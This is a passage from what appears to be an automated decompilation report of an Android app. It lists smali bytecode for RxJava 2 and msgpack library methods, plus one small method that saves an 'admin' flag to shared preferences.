34add-int/lit8 v0, v0, 0x1
35goto/16 :goto_1b
36cond_2f:
37const-string v0, "]"
39invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
41invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
42move-result-object v0
43goto/16 :goto_7
Cross References
APIs
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.util.ArrayList.<init>
  • java.util.List.add
  • java.util.List.size
  • java.util.List.get
  • c.a.c.a.<init>
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Ljava/util/List",
4"<",
5"Lc/a/b/b;",
6">;)V"
7}
8.end annotation
9if-nez p1, :cond_3
10cond_2: return-void
11cond_3: const/4 v1, 0x0
13invoke-interface {p1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
14move-result-object v2
15goto_8:
16invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
17move-result v0
18if-eqz v0, :cond_28
20invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
21move-result-object v0
22check-cast v0, Lc/a/b/b;
23try_start_14:
24invoke-interface {v0}, Lc/a/b/b;->a()V
25try_end_17: goto/16 :goto_8
26catch_18: move-exception v3
28invoke-static {v3}, Lc/a/c/b;->b(Ljava/lang/Throwable;)V
29if-nez v1, :cond_43
30new-instance v0, Ljava/util/ArrayList;
32invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
33goto_23:
34invoke-interface {v0, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z
35move-object v1, v0
36goto/16 :goto_8
37cond_28: if-eqz v1, :cond_2
39invoke-interface {v1}, Ljava/util/List;->size()I
40move-result v0
41const/4 v2, 0x1
42if-ne v0, v2, :cond_3d
43const/4 v0, 0x0
45invoke-interface {v1, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
46move-result-object v0
47check-cast v0, Ljava/lang/Throwable;
49invoke-static {v0}, Lc/a/e/h/a;->a(Ljava/lang/Throwable;)Ljava/lang/RuntimeException;
50move-result-object v0
51throw v0
52cond_3d: new-instance v0, Lc/a/c/a;
54invoke-direct {v0, v1}, Lc/a/c/a;-><init>(Ljava/lang/Iterable;)V
55throw v0
56cond_43: move-object v0, v1
57goto/16 :goto_23
APIs
  • java.math.BigInteger.valueOf
Position Instruction Meta Information
0const-wide/16 v0, -0x80
2invoke-static {v0, v1}, Ljava/math/BigInteger;->valueOf(J)Ljava/math/BigInteger;
3move-result-object v0
4sput-object v0, Lorg/msgpack/a/a/d;->b:Ljava/math/BigInteger;
5const-wide/16 v0, 0x7f
7invoke-static {v0, v1}, Ljava/math/BigInteger;->valueOf(J)Ljava/math/BigInteger;
8move-result-object v0
9sput-object v0, Lorg/msgpack/a/a/d;->c:Ljava/math/BigInteger;
10const-wide/16 v0, -0x8000
12invoke-static {v0, v1}, Ljava/math/BigInteger;->valueOf(J)Ljava/math/BigInteger;
13move-result-object v0
14sput-object v0, Lorg/msgpack/a/a/d;->d:Ljava/math/BigInteger;
15const-wide/16 v0, 0x7fff
17invoke-static {v0, v1}, Ljava/math/BigInteger;->valueOf(J)Ljava/math/BigInteger;
18move-result-object v0
19sput-object v0, Lorg/msgpack/a/a/d;->e:Ljava/math/BigInteger;
20const-wide/32 v0, -0x80000000
22invoke-static {v0, v1}, Ljava/math/BigInteger;->valueOf(J)Ljava/math/BigInteger;
23move-result-object v0
24sput-object v0, Lorg/msgpack/a/a/d;->f:Ljava/math/BigInteger;
25const-wide/32 v0, 0x7fffffff
27invoke-static {v0, v1}, Ljava/math/BigInteger;->valueOf(J)Ljava/math/BigInteger;
28move-result-object v0
29sput-object v0, Lorg/msgpack/a/a/d;->g:Ljava/math/BigInteger;
30const-wide/high16 v0, -0x8000000000000000L
32invoke-static {v0, v1}, Ljava/math/BigInteger;->valueOf(J)Ljava/math/BigInteger;
33move-result-object v0
34sput-object v0, Lorg/msgpack/a/a/d;->h:Ljava/math/BigInteger;
35const-wide v0, 0x7fffffffffffffffL
37invoke-static {v0, v1}, Ljava/math/BigInteger;->valueOf(J)Ljava/math/BigInteger;
38move-result-object v0
39sput-object v0, Lorg/msgpack/a/a/d;->i:Ljava/math/BigInteger;
40return-void
Cross References
APIs
  • java.lang.StringBuilder.append
Strings
  • \\u
Position Instruction Meta Information
1const-string v0, "\\u"
3invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
5sget-object v0, Lorg/msgpack/a/a/a;->d:[C
6shr-int/lit8 v1, p1, 0xc
7and-int/lit8 v1, v1, 0xf
8aget-char v0, v0, v1
10invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
12sget-object v0, Lorg/msgpack/a/a/a;->d:[C
13shr-int/lit8 v1, p1, 0x8
14and-int/lit8 v1, v1, 0xf
15aget-char v0, v0, v1
17invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
19sget-object v0, Lorg/msgpack/a/a/a;->d:[C
20shr-int/lit8 v1, p1, 0x4
21and-int/lit8 v1, v1, 0xf
22aget-char v0, v0, v1
24invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
26sget-object v0, Lorg/msgpack/a/a/a;->d:[C
27and-int/lit8 v1, p1, 0xf
28aget-char v0, v0, v1
30invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
31return-void
Cross References
APIs
  • android.content.Context.getSharedPreferences
  • android.content.SharedPreferences.edit
  • android.content.SharedPreferences$Editor.putBoolean
  • android.content.SharedPreferences$Editor.apply
Strings
  • pref
  • admin
Position Instruction Meta Information
1const-string v0, "pref"
2const/4 v1, 0x0
4invoke-virtual {p1, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
5move-result-object v0
7invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
8move-result-object v0
10const-string v1, "admin"
12invoke-interface {v0, v1, p2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
13move-result-object v0
15invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->apply()V
16return-void
APIs
  • java.math.BigInteger.compareTo
  • java.math.BigInteger.longValue
  • java.math.BigInteger.compareTo
  • java.math.BigInteger.longValue
  • java.math.BigInteger.hashCode
Position Instruction Meta Information
1sget-object v0, Lorg/msgpack/a/a/d;->f:Ljava/math/BigInteger;
3iget-object v1, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
5invoke-virtual {v0, v1}, Ljava/math/BigInteger;->compareTo(Ljava/math/BigInteger;)I
6move-result v0
7if-gtz v0, :cond_1c
9iget-object v0, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
11sget-object v1, Lorg/msgpack/a/a/d;->g:Ljava/math/BigInteger;
13invoke-virtual {v0, v1}, Ljava/math/BigInteger;->compareTo(Ljava/math/BigInteger;)I
14move-result v0
15if-gtz v0, :cond_1c
17iget-object v0, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
19invoke-virtual {v0}, Ljava/math/BigInteger;->longValue()J
20move-result-wide v0
21long-to-int v0, v0
22goto_1b: return v0
23cond_1c:
24sget-object v0, Lorg/msgpack/a/a/d;->h:Ljava/math/BigInteger;
26iget-object v1, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
28invoke-virtual {v0, v1}, Ljava/math/BigInteger;->compareTo(Ljava/math/BigInteger;)I
29move-result v0
30if-gtz v0, :cond_3d
32iget-object v0, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
34sget-object v1, Lorg/msgpack/a/a/d;->i:Ljava/math/BigInteger;
36invoke-virtual {v0, v1}, Ljava/math/BigInteger;->compareTo(Ljava/math/BigInteger;)I
37move-result v0
38if-gtz v0, :cond_3d
40iget-object v0, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
42invoke-virtual {v0}, Ljava/math/BigInteger;->longValue()J
43move-result-wide v0
44const/16 v2, 0x20
45ushr-long v2, v0, v2
46xor-long/2addr v0, v2
47long-to-int v0, v0
48goto/16 :goto_1b
49cond_3d:
50iget-object v0, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
52invoke-virtual {v0}, Ljava/math/BigInteger;->hashCode()I
53move-result v0
54goto/16 :goto_1b
Cross References
APIs
  • java.util.Map.size
  • java.util.Map.entrySet
  • java.util.Set.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.util.Map$Entry.getKey
  • java.util.Map$Entry.getValue
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"<K::",
3"Lorg/msgpack/a/x;",
4"V::",
5"Lorg/msgpack/a/x;",
6">(",
7"Ljava/util/Map",
8"<TK;TV;>;)",
9"Lorg/msgpack/a/l;"
10}
11.end annotation
13invoke-interface {p0}, Ljava/util/Map;->size()I
14move-result v0
15mul-int/lit8 v0, v0, 0x2
16new-array v3, v0, [Lorg/msgpack/a/x;
17const/4 v0, 0x0
19invoke-interface {p0}, Ljava/util/Map;->entrySet()Ljava/util/Set;
20move-result-object v1
22invoke-interface {v1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
23move-result-object v4
24move v2, v0
25goto_12:
26invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
27move-result v0
28if-eqz v0, :cond_34
30invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
31move-result-object v0
32check-cast v0, Ljava/util/Map$Entry;
34invoke-interface {v0}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
35move-result-object v1
36check-cast v1, Lorg/msgpack/a/x;
37aput-object v1, v3, v2
38add-int/lit8 v1, v2, 0x1
40invoke-interface {v0}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
41move-result-object v0
42check-cast v0, Lorg/msgpack/a/x;
43aput-object v0, v3, v1
44add-int/lit8 v0, v1, 0x1
45move v2, v0
46goto/16 :goto_12
47cond_34: new-instance v0, Lorg/msgpack/a/a/j;
49invoke-direct {v0, v3}, Lorg/msgpack/a/a/j;-><init>([Lorg/msgpack/a/x;)V
50return-object v0
Cross References
APIs
  • c.a.e.d.e.<init>
Strings
  • onNext is null
  • onError is null
  • onComplete is null
  • onSubscribe is null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Lc/a/d/d",
4"<-TT;>;",
5"Lc/a/d/d",
6"<-",
7"Ljava/lang/Throwable;",
8">;",
9"Lc/a/d/a;",
10"Lc/a/d/d",
11"<-",
12"Lc/a/b/b;",
13">;)",
14"Lc/a/b/b;"
15}
16.end annotation
18const-string v0, "onNext is null"
20invoke-static {p1, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
22const-string v0, "onError is null"
24invoke-static {p2, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
26const-string v0, "onComplete is null"
28invoke-static {p3, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
30const-string v0, "onSubscribe is null"
32invoke-static {p4, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
33new-instance v0, Lc/a/e/d/e;
35invoke-direct {v0, p1, p2, p3, p4}, Lc/a/e/d/e;-><init>(Lc/a/d/d;Lc/a/d/d;Lc/a/d/a;Lc/a/d/d;)V
37invoke-virtual {p0, v0}, Lc/a/l;->a(Lc/a/p;)V
38return-object v0
Cross References
APIs
  • java.lang.NullPointerException.<init>
  • java.lang.NullPointerException.initCause
Strings
  • observer is null
  • Plugin returned null Observer
  • Actually not, but can\'t throw other exceptions due to RS
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Lc/a/p",
4"<-TT;>;)V"
5}
6.end annotation
8const-string v0, "observer is null"
10invoke-static {p1, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
11try_start_5:
12invoke-static {p0, p1}, Lc/a/f/a;->a(Lc/a/l;Lc/a/p;)Lc/a/p;
13move-result-object v0
15const-string v1, "Plugin returned null Observer"
17invoke-static {v0, v1}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
19invoke-virtual {p0, v0}, Lc/a/l;->b(Lc/a/p;)V
20try_end_11: return-void
21catch_12: move-exception v0
22throw v0
23catch_14: move-exception v0
25invoke-static {v0}, Lc/a/c/b;->b(Ljava/lang/Throwable;)V
27invoke-static {v0}, Lc/a/f/a;->a(Ljava/lang/Throwable;)V
28new-instance v1, Ljava/lang/NullPointerException;
30const-string v2, "Actually not, but can\'t throw other exceptions due to RS"
32invoke-direct {v1, v2}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
34invoke-virtual {v1, v0}, Ljava/lang/NullPointerException;->initCause(Ljava/lang/Throwable;)Ljava/lang/Throwable;
35throw v1
Cross References
APIs
  • java.lang.NullPointerException.<init>
  • java.lang.NullPointerException.initCause
Strings
  • observer is null
  • observer returned by the RxJavaPlugins hook is null
  • subscribeActual failed
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Lc/a/j",
4"<-TT;>;)V"
5}
6.end annotation
8const-string v0, "observer is null"
10invoke-static {p1, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
12invoke-static {p0, p1}, Lc/a/f/a;->a(Lc/a/h;Lc/a/j;)Lc/a/j;
13move-result-object v0
15const-string v1, "observer returned by the RxJavaPlugins hook is null"
17invoke-static {v0, v1}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
18try_start_e:
19invoke-virtual {p0, v0}, Lc/a/h;->b(Lc/a/j;)V
20try_end_11: return-void
21catch_12: move-exception v0
22throw v0
23catch_14: move-exception v0
25invoke-static {v0}, Lc/a/c/b;->b(Ljava/lang/Throwable;)V
26new-instance v1, Ljava/lang/NullPointerException;
28const-string v2, "subscribeActual failed"
30invoke-direct {v1, v2}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
32invoke-virtual {v1, v0}, Ljava/lang/NullPointerException;->initCause(Ljava/lang/Throwable;)Ljava/lang/Throwable;
33throw v1
Cross References
APIs
  • java.lang.NullPointerException.<init>
  • java.lang.NullPointerException.initCause
Strings
  • subscriber is null
  • subscriber returned by the RxJavaPlugins hook is null
  • subscribeActual failed
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Lc/a/t",
4"<-TT;>;)V"
5}
6.end annotation
8const-string v0, "subscriber is null"
10invoke-static {p1, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
12invoke-static {p0, p1}, Lc/a/f/a;->a(Lc/a/r;Lc/a/t;)Lc/a/t;
13move-result-object v0
15const-string v1, "subscriber returned by the RxJavaPlugins hook is null"
17invoke-static {v0, v1}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
18try_start_e:
19invoke-virtual {p0, v0}, Lc/a/r;->b(Lc/a/t;)V
20try_end_11: return-void
21catch_12: move-exception v0
22throw v0
23catch_14: move-exception v0
25invoke-static {v0}, Lc/a/c/b;->b(Ljava/lang/Throwable;)V
26new-instance v1, Ljava/lang/NullPointerException;
28const-string v2, "subscribeActual failed"
30invoke-direct {v1, v2}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
32invoke-virtual {v1, v0}, Ljava/lang/NullPointerException;->initCause(Ljava/lang/Throwable;)Ljava/lang/Throwable;
33throw v1
Cross References
APIs
  • java.lang.NullPointerException.<init>
  • c.a.e.e.a.a$a.get
  • c.a.e.e.a.a$a.getAndSet
Strings
  • onError called with null. Null values are generally not allowed in 2.x operators and sources.
Position Instruction Meta Information
0if-nez p1, :cond_9
1new-instance p1, Ljava/lang/NullPointerException;
3const-string v0, "onError called with null. Null values are generally not allowed in 2.x operators and sources."
5invoke-direct {p1, v0}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
6cond_9:
7invoke-virtual {p0}, Lc/a/e/e/a/a$a;->get()Ljava/lang/Object;
8move-result-object v0
10sget-object v1, Lc/a/e/a/b;->a:Lc/a/e/a/b;
11if-eq v0, v1, :cond_2f
13sget-object v0, Lc/a/e/a/b;->a:Lc/a/e/a/b;
15invoke-virtual {p0, v0}, Lc/a/e/e/a/a$a;->getAndSet(Ljava/lang/Object;)Ljava/lang/Object;
16move-result-object v0
17check-cast v0, Lc/a/b/b;
19sget-object v1, Lc/a/e/a/b;->a:Lc/a/e/a/b;
20if-eq v0, v1, :cond_2f
21try_start_1d:
22iget-object v1, p0, Lc/a/e/e/a/a$a;->a:Lc/a/c;
24invoke-interface {v1, p1}, Lc/a/c;->a(Ljava/lang/Throwable;)V
25try_end_22: if-eqz v0, :cond_27
27invoke-interface {v0}, Lc/a/b/b;->a()V
28cond_27: return-void
29catchall_28: move-exception v1
30if-eqz v0, :cond_2e
32invoke-interface {v0}, Lc/a/b/b;->a()V
33cond_2e: throw v1
34cond_2f:
35invoke-static {p1}, Lc/a/f/a;->a(Ljava/lang/Throwable;)V
36goto/16 :goto_27
Cross References
APIs
  • java.util.concurrent.atomic.AtomicReference.compareAndSet
  • java.util.concurrent.atomic.AtomicReference.get
  • c.a.e.a.b.c
Strings
  • d is null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Ljava/util/concurrent/atomic/AtomicReference",
4"<",
5"Lc/a/b/b;",
6">;",
7"Lc/a/b/b;",
8")Z"
9}
10.end annotation
12const-string v0, "d is null"
14invoke-static {p1, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
15const/4 v0, 0x0
17invoke-virtual {p0, v0, p1}, Ljava/util/concurrent/atomic/AtomicReference;->compareAndSet(Ljava/lang/Object;Ljava/lang/Object;)Z
18move-result v0
19if-nez v0, :cond_1c
21invoke-interface {p1}, Lc/a/b/b;->a()V
23invoke-virtual {p0}, Ljava/util/concurrent/atomic/AtomicReference;->get()Ljava/lang/Object;
24move-result-object v0
26sget-object v1, Lc/a/e/a/b;->a:Lc/a/e/a/b;
27if-eq v0, v1, :cond_1a
29invoke-static {}, Lc/a/e/a/b;->c()V
30cond_1a: const/4 v0, 0x0
31goto_1b: return v0
32cond_1c: const/4 v0, 0x1
33goto/16 :goto_1b
APIs
  • c.a.e.a.c.<init>
Strings
  • INSTANCE
  • NEVER
Position Instruction Meta Information
0const/4 v3, 0x1
1const/4 v2, 0x0
2new-instance v0, Lc/a/e/a/c;
4const-string v1, "INSTANCE"
6invoke-direct {v0, v1, v2}, Lc/a/e/a/c;-><init>(Ljava/lang/String;I)V
7sput-object v0, Lc/a/e/a/c;->a:Lc/a/e/a/c;
8new-instance v0, Lc/a/e/a/c;
10const-string v1, "NEVER"
12invoke-direct {v0, v1, v3}, Lc/a/e/a/c;-><init>(Ljava/lang/String;I)V
13sput-object v0, Lc/a/e/a/c;->b:Lc/a/e/a/c;
14const/4 v0, 0x2
15new-array v0, v0, [Lc/a/e/a/c;
17sget-object v1, Lc/a/e/a/c;->a:Lc/a/e/a/c;
18aput-object v1, v0, v2
20sget-object v1, Lc/a/e/a/c;->b:Lc/a/e/a/c;
21aput-object v1, v0, v3
22sput-object v0, Lc/a/e/a/c;->c:[Lc/a/e/a/c;
23return-void
APIs
  • java.lang.Double.isNaN
  • java.lang.Double.isInfinite
  • java.lang.Double.toString
Strings
  • null
Position Instruction Meta Information
0iget-wide v0, p0, Lorg/msgpack/a/a/g;->a:D
2invoke-static {v0, v1}, Ljava/lang/Double;->isNaN(D)Z
3move-result v0
4if-nez v0, :cond_10
5iget-wide v0, p0, Lorg/msgpack/a/a/g;->a:D
7invoke-static {v0, v1}, Ljava/lang/Double;->isInfinite(D)Z
8move-result v0
9if-eqz v0, :cond_13
10cond_10:
11const-string v0, "null"
12goto_12: return-object v0
13cond_13: iget-wide v0, p0, Lorg/msgpack/a/a/g;->a:D
15invoke-static {v0, v1}, Ljava/lang/Double;->toString(D)Ljava/lang/String;
16move-result-object v0
17goto/16 :goto_12
APIs
  • java.lang.Long.getLong
  • java.lang.Long.longValue
  • java.util.concurrent.TimeUnit.toNanos
Strings
  • rx2.scheduler.drift-tolerance
Position Instruction Meta Information
1sget-object v0, Ljava/util/concurrent/TimeUnit;->MINUTES:Ljava/util/concurrent/TimeUnit;
3const-string v1, "rx2.scheduler.drift-tolerance"
4const-wide/16 v2, 0xf
6invoke-static {v1, v2, v3}, Ljava/lang/Long;->getLong(Ljava/lang/String;J)Ljava/lang/Long;
7move-result-object v1
9invoke-virtual {v1}, Ljava/lang/Long;->longValue()J
10move-result-wide v2
12invoke-virtual {v0, v2, v3}, Ljava/util/concurrent/TimeUnit;->toNanos(J)J
13move-result-wide v0
14sput-wide v0, Lc/a/q;->a:J
15return-void
APIs
  • java.lang.Integer.getInteger
  • java.lang.Integer.intValue
  • java.lang.Math.max
Strings
  • rx2.buffer-size
Position Instruction Meta Information
0const/16 v0, 0x10
2const-string v1, "rx2.buffer-size"
3const/16 v2, 0x80
5invoke-static {v1, v2}, Ljava/lang/Integer;->getInteger(Ljava/lang/String;I)Ljava/lang/Integer;
6move-result-object v1
8invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
9move-result v1
11invoke-static {v0, v1}, Ljava/lang/Math;->max(II)I
12move-result v0
13sput v0, Lc/a/g;->a:I
14return-void
Cross References
APIs
  • java.util.LinkedList.<init>
  • java.util.List.add
Strings
  • d is null
Position Instruction Meta Information
1const-string v0, "d is null"
3invoke-static {p1, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
4iget-boolean v0, p0, Lc/a/e/a/d;->b:Z
5if-nez v0, :cond_20
6monitor-enter p0
7try_start_a: iget-boolean v0, p0, Lc/a/e/a/d;->b:Z
8if-nez v0, :cond_1f
10iget-object v0, p0, Lc/a/e/a/d;->a:Ljava/util/List;
11if-nez v0, :cond_19
12new-instance v0, Ljava/util/LinkedList;
14invoke-direct {v0}, Ljava/util/LinkedList;-><init>()V
15iput-object v0, p0, Lc/a/e/a/d;->a:Ljava/util/List;
16cond_19:
17invoke-interface {v0, p1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
18const/4 v0, 0x1
19monitor-exit p0
20goto_1e: return v0
21cond_1f: monitor-exit p0
22cond_20:
23invoke-interface {p1}, Lc/a/b/b;->a()V
24const/4 v0, 0x0
25goto/16 :goto_1e
26catchall_25: move-exception v0
27try_start_26: monitor-exit p0
28try_end_27: throw v0
Cross References
APIs
  • java.util.concurrent.Callable.call
  • java.lang.NullPointerException.<init>
Strings
  • Scheduler Callable returned null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Ljava/util/concurrent/Callable",
4"<",
5"Lc/a/q;",
6">;)",
7"Lc/a/q;"
8}
9.end annotation
10try_start_0:
11invoke-interface {p0}, Ljava/util/concurrent/Callable;->call()Ljava/lang/Object;
12move-result-object v0
13check-cast v0, Lc/a/q;
14if-nez v0, :cond_16
15new-instance v0, Ljava/lang/NullPointerException;
17const-string v1, "Scheduler Callable returned null"
19invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
20throw v0
21catch_10: move-exception v0
23invoke-static {v0}, Lc/a/c/b;->a(Ljava/lang/Throwable;)Ljava/lang/RuntimeException;
24move-result-object v0
25throw v0
26cond_16: return-object v0
Cross References
APIs
  • c.a.e.d.c.<init>
Strings
  • onSuccess is null
  • onError is null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Lc/a/d/d",
4"<-TT;>;",
5"Lc/a/d/d",
6"<-",
7"Ljava/lang/Throwable;",
8">;)",
9"Lc/a/b/b;"
10}
11.end annotation
13const-string v0, "onSuccess is null"
15invoke-static {p1, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
17const-string v0, "onError is null"
19invoke-static {p2, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
20new-instance v0, Lc/a/e/d/c;
22invoke-direct {v0, p1, p2}, Lc/a/e/d/c;-><init>(Lc/a/d/d;Lc/a/d/d;)V
24invoke-virtual {p0, v0}, Lc/a/r;->a(Lc/a/t;)V
25return-object v0
Cross References
APIs
  • c.a.e.d.b.<init>
Strings
  • onError is null
  • onComplete is null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Lc/a/d/a;",
4"Lc/a/d/d",
5"<-",
6"Ljava/lang/Throwable;",
7">;)",
8"Lc/a/b/b;"
9}
10.end annotation
12const-string v0, "onError is null"
14invoke-static {p2, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
16const-string v0, "onComplete is null"
18invoke-static {p1, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
19new-instance v0, Lc/a/e/d/b;
21invoke-direct {v0, p2, p1}, Lc/a/e/d/b;-><init>(Lc/a/d/d;Lc/a/d/a;)V
23invoke-virtual {p0, v0}, Lc/a/a;->a(Lc/a/c;)V
24return-object v0
Cross References
APIs
  • java.lang.NullPointerException.<init>
  • c.a.e.a.b.c
Strings
  • next is null
Position Instruction Meta Information
0const/4 v0, 0x0
1if-nez p1, :cond_e
2new-instance v1, Ljava/lang/NullPointerException;
4const-string v2, "next is null"
6invoke-direct {v1, v2}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
8invoke-static {v1}, Lc/a/f/a;->a(Ljava/lang/Throwable;)V
9goto_d: return v0
10cond_e: if-eqz p0, :cond_17
12invoke-interface {p1}, Lc/a/b/b;->a()V
14invoke-static {}, Lc/a/e/a/b;->c()V
15goto/16 :goto_d
16cond_17: const/4 v0, 0x1
17goto/16 :goto_d
Cross References
APIs
  • java.lang.NullPointerException.<init>
  • java.lang.NullPointerException.initCause
Strings
  • Actually not, but can\'t pass out an exception otherwise...
Position Instruction Meta Information
0new-instance v0, Ljava/lang/NullPointerException;
2const-string v1, "Actually not, but can\'t pass out an exception otherwise..."
4invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
6invoke-virtual {v0, p0}, Ljava/lang/NullPointerException;->initCause(Ljava/lang/Throwable;)Ljava/lang/Throwable;
7return-object v0
APIs
  • java.util.Arrays.equals
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
Position Instruction Meta Information
0const/4 v2, 0x1
1const/4 v1, 0x0
2if-ne p1, p0, :cond_6
3move v1, v2
4goto_5: return v1
5cond_6: instance-of v0, p1, Lorg/msgpack/a/x;
6if-eqz v0, :cond_5
7check-cast p1, Lorg/msgpack/a/x;
8instance-of v0, p1, Lorg/msgpack/a/a/c;
9if-eqz v0, :cond_1b
10check-cast p1, Lorg/msgpack/a/a/c;
12iget-object v0, p0, Lorg/msgpack/a/a/c;->b:[Lorg/msgpack/a/x;
14iget-object v1, p1, Lorg/msgpack/a/a/c;->b:[Lorg/msgpack/a/x;
16invoke-static {v0, v1}, Ljava/util/Arrays;->equals([Ljava/lang/Object;[Ljava/lang/Object;)Z
17move-result v1
18goto/16 :goto_5
19cond_1b:
20invoke-interface {p1}, Lorg/msgpack/a/x;->p()Z
21move-result v0
22if-eqz v0, :cond_5
24invoke-interface {p1}, Lorg/msgpack/a/x;->x()Lorg/msgpack/a/a;
25move-result-object v0
27invoke-virtual {p0}, Lorg/msgpack/a/a/c;->a()I
28move-result v3
30invoke-interface {v0}, Lorg/msgpack/a/a;->a()I
31move-result v4
32if-ne v3, v4, :cond_5
34invoke-interface {v0}, Lorg/msgpack/a/a;->iterator()Ljava/util/Iterator;
35move-result-object v3
36move v0, v1
37goto_34:
38iget-object v4, p0, Lorg/msgpack/a/a/c;->b:[Lorg/msgpack/a/x;
39array-length v4, v4
40if-ge v0, v4, :cond_50
42invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
43move-result v4
44if-eqz v4, :cond_5
46iget-object v4, p0, Lorg/msgpack/a/a/c;->b:[Lorg/msgpack/a/x;
47aget-object v4, v4, v0
49invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
50move-result-object v5
52invoke-interface {v4, v5}, Lorg/msgpack/a/x;->equals(Ljava/lang/Object;)Z
53move-result v4
54if-eqz v4, :cond_5
55add-int/lit8 v0, v0, 0x1
56goto/16 :goto_34
57cond_50: move v1, v2
58goto/16 :goto_5
Cross References
APIs
  • java.util.List.isEmpty
  • java.util.List.size
  • java.util.List.toArray
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Ljava/util/List",
4"<+",
5"Lorg/msgpack/a/x;",
6">;)",
7"Lorg/msgpack/a/f;"
8}
9.end annotation
11invoke-interface {p0}, Ljava/util/List;->isEmpty()Z
12move-result v0
13if-eqz v0, :cond_b
15invoke-static {}, Lorg/msgpack/a/a/c;->c()Lorg/msgpack/a/f;
16move-result-object v0
17goto_a: return-object v0
18cond_b:
